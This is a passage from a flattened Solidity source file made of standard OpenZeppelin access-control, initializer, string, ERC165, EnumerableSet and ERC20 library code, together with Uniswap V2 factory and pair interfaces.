pragma solidity ^0.8.0;
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// File @uniswap/v2-core/contracts/interfaces/[email protected]
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File @uniswap/v2-core/contracts/interfaces/[email protected]
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/structs/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
// License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
